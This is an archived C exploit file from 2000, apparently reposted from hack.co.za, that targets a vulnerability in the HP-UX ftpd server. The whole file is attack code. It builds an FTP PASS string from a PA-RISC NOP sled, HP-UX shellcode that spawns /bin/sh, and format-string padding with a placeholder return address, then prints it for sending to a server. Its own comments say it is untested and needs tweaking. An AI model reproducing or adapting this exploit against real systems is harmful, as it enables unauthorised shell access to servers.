home *** CD-ROM | disk | FTP | other *** search
- /* theoretical exploit for hpux ftpd vulnerability */
- /* not tested anywhere, needs tweaking */
-
- /* (c) 2000 by babcia padlina ltd. <venglin@freebsd.lublin.pl> */
-
- #include <stdio.h>
- #include <stdlib.h>
-
- #define NOPS 100
- #define BUFSIZE 1024
-
- char shellcode[] = /* HP-UX shellcode */
- "\x34\x16\x05\x06\x96\xd6\x05\x34\x20\x20\x08\x01\xe4\x20\xe0\x08\x0b"
- "\x5a\x02\x9a\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41"
- "\x04\x02\x60\x40\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02"
- "\x98\x34\x16\x04\xbe\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34"
- "\xde\xad\xca\xfe\x2f\x62\x69\x6e\x2f\x73\x68";
-
- char nop[] = "\x08\x21\x02\x80"; /* PA-RISC NOP */
-
- unsigned long ret = 0xdeadbeef;
-
- int main(argc, argv)
- int argc;
- char **argv;
- {
- int stackofs;
- char buf[BUFSIZ*2];
- int i;
-
- for (strcpy(buf, "PASS "),i=0;i<NOPS;i++) strcat(buf, nop);
- sprintf(buf+strlen(buf), "%s%%.%dd%c%c%c%c", shellcode,
- BUFSIZE-strlen(shellcode)-NOPS*4-4,
- ((int)ret & 0xff), (((int)ret & 0xff00) >> 8),
- (((int)ret & 0xff0000) >> 16),
- (((int)ret & 0xff000000) >> 24));
- printf("USER ftp\r\n%s\r\n", buf);
-
- exit(0);
- }
- /* www.hack.co.za [1 December 2000]*/